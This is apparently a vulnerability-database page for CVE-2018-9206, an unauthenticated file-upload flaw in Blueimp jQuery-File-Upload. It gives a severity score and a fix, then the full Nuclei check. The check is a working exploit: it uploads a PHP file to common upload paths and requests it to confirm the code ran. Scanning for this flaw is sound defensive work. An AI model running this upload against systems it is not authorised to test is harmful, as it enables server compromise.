CVE-2018-9206· CWE-434
Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload
criticalseverity
9.8CVSS score
97.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Blueimp jQuery-File-Upload v9.22.0 contains an unauthenticated arbitrary file upload caused by insufficient validation in the upload component, letting remote attackers upload malicious files, exploit requires no authentication.
Impact
Attackers can upload malicious files, potentially leading to remote code execution or server compromise.
Fix
Update to the latest version of Blueimp jQuery-File-Upload.
How to confirm it
Send: POST {{path}} ; GET {{path}}/files/{{filename}}.php ; GET /files/{{filename}}.php
Positive when: contains(body, '{{md5(hash)}}') and status_code == 200Run it with nuclei: nuclei -id CVE-2018-9206 -u <target>
The full check
id: CVE-2018-9206
info:
name: Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload
author: thewindghost
severity: critical
description: |
Blueimp jQuery-File-Upload v9.22.0 contains an unauthenticated arbitrary file upload caused by insufficient validation in the upload component, letting remote attackers upload malicious files, exploit requires no authentication.
impact: |
Attackers can upload malicious files, potentially leading to remote code execution or server compromise.
remediation: |
Update to the latest version of Blueimp jQuery-File-Upload.
reference:
- https://www.exploit-db.com/exploits/45790
- https://www.exploit-db.com/exploits/46182/
- https://github.com/blueimp/jQuery-File-Upload/pull/3514
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/jquery_file_upload.rb
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-9206
epss-score: 0.97255
epss-percentile: 0.99897
cwe-id: CWE-434
metadata:
verified: true
tags: cve,cve2018,jquery,file-upload,rce,intrusive,vkev,vuln
variables:
filename: "{{rand_text_alphanumeric(8)}}"
hash: "CVE-2018-9206"
http:
- raw:
- |
POST {{path}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="files[]"; filename="{{filename}}.php"
Content-Type: application/x-php
<?php echo md5("{{hash}}"); ?>
------WebKitFormBoundary{{randstr}}--
- |
GET {{path}}/files/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
- |
GET /files/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
payloads:
path:
- "/jQuery-File-Upload/server/php/index.php"
- "/jquery-file-upload/server/php/index.php"
- "/server/php/upload.class.php"
- "/server/php/UploadHandler.php"
- "/example/upload.php"
- "/php/index.php"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "contains(body, '{{md5(hash)}}')"
- "status_code == 200"
condition: andReferences
- https://www.exploit-db.com/exploits/45790
- https://www.exploit-db.com/exploits/46182/
- https://github.com/blueimp/jQuery-File-Upload/pull/3514
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/jquery_file_upload.rb
Use this check only on systems you are authorised to test. Where the data comes from